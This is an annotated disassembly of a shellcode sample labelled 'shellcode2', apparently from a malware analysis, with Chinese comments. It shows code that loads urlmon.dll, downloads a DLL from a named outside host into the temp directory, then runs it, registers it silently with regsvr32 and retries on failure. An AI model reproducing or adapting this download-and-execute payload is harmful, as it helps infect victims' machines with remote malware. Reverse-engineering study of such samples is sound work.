shellcode2

004050EC    54              push    esp
004050ED    FF16            call    dword ptr [esi]                  ; 加载urlmon.dll
004050EF    83C4 08         add     esp, 8
004050F2    8BE8            mov     ebp, eax
004050F4    E8 61FFFFFF     call    0040505A                         ; 调用URLDownLoadToFileA
004050F9    EB 02           jmp     short 004050FD
004050FB    EB 72           jmp     short 0040516F
004050FD    81EC 04010000   sub     esp, 104
00405103    8D5C24 0C       lea     ebx, dword ptr [esp+C]
00405107    C70424 72656773 mov     dword ptr [esp], 73676572
0040510E    C74424 04 76723>mov     dword ptr [esp+4], 32337276
00405116    C74424 08 202D7>mov     dword ptr [esp+8], 20732D20
0040511E    53              push    ebx
0040511F    68 F8000000     push    0F8
00405124    FF56 0C         call    dword ptr [esi+C]                ; 检索系统临时文件目录
00405127    8BE8            mov     ebp, eax
00405129    33C9            xor     ecx, ecx
0040512B    51              push    ecx
0040512C    C7441D 00 77706>mov     dword ptr [ebp+ebx], 74627077
00405134    C7441D 05 2E646>mov     dword ptr [ebp+ebx+5], 6C6C642E
0040513C    C6441D 09 00    mov     byte ptr [ebp+ebx+9], 0
00405141    59              pop     ecx
00405142    8AC1            mov     al, cl
00405144    04 30           add     al, 30
00405146    88441D 04       mov     byte ptr [ebp+ebx+4], al
0040514A    41              inc     ecx
0040514B    51              push    ecx
0040514C    6A 00           push    0
0040514E    6A 00           push    0
00405150    53              push    ebx
00405151    57              push    edi
00405152    6A 00           push    0
00405154    FF56 14         call    dword ptr [esi+14]               ; 将http://ireknennphole.com/w.php?f=26&e=6保存为%temp%\wpbt0.dll
00405157    85C0            test    eax, eax
00405159    75 16           jnz     short 00405171                   ; 未能下载,则跳走.
0040515B    6A 00           push    0
0040515D    53              push    ebx
0040515E    FF56 04         call    dword ptr [esi+4]                ; 运行wpbt0.dll
00405161    6A 00           push    0
00405163    83EB 0C         sub     ebx, 0C
00405166    53              push    ebx
00405167    FF56 04         call    dword ptr [esi+4]                ; 注册wpbt0.dll
0040516A    83C3 0C         add     ebx, 0C
0040516D    EB 02           jmp     short 00405171
0040516F   /EB 13           jmp     short 00405184
00405171   |47              inc     edi
00405172   |803F 00         cmp     byte ptr [edi], 0
00405175  ^|75 FA           jnz     short 00405171
00405177   |47              inc     edi
00405178   |803F 00         cmp     byte ptr [edi], 0
0040517B  ^|75 C4           jnz     short 00405141                   ; 重新下载